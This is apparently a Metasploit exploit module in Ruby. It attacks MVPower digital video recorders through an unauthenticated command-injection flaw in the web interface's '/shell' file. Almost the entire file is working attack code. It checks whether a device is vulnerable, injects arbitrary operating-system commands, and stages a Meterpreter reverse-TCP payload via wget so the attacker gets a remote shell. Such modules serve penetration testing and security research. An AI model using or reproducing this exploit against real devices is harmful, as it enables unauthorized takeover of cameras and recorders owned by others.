101 lines
3.2 KiB
Ruby
101 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] }
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MVPower DVR Shell Unauthenticated Command Execution',
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'Description' => %q{
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This module exploits an unauthenticated remote command execution
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vulnerability in MVPower digital video recorders. The 'shell' file
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on the web interface executes arbitrary operating system commands in
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the query string.
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This module was tested successfully on a MVPower model TV-7104HE with
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firmware version 1.8.4 115215B9 (Build 2014/11/17).
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The TV-7108HE model is also reportedly affected, but untested.
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},
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'Author' =>
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[
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'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC
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'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC
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'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'References' =>
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[
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# Comment from Paul Davies contains probably the first published PoC
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[ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ],
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# Writeup with PoC by Andrew Tierney from Pen Test Partners
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[ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ]
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],
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'DisclosureDate' => 'Aug 23 2015',
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'Privileged' => true, # BusyBox
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'Arch' => ARCH_ARMLE,
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'DefaultOptions' =>
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{
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'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
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'CMDSTAGER::FLAVOR' => 'wget'
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},
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'Targets' =>
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[
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['Automatic', {}]
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],
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'CmdStagerFlavor' => %w{ echo printf wget },
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'DefaultTarget' => 0))
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end
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def check
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begin
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fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => '/shell',
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'query' => "echo+#{fingerprint}",
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'headers' => { 'Connection' => 'Keep-Alive' }
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)
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if res && res.body.include?(fingerprint)
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return CheckCode::Vulnerable
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end
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rescue ::Rex::ConnectionError
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return CheckCode::Unknown
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end
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CheckCode::Safe
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end
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def execute_command(cmd, opts)
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begin
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send_request_cgi(
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'uri' => '/shell',
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'query' => Rex::Text.uri_encode(cmd, 'hex-all'),
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'headers' => { 'Connection' => 'Keep-Alive' }
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)
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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def exploit
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print_status("#{peer} - Connecting to target")
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unless check == CheckCode::Vulnerable
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fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
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end
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print_good("#{peer} - Target is vulnerable!")
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execute_cmdstager(linemax: 1500)
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end
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end
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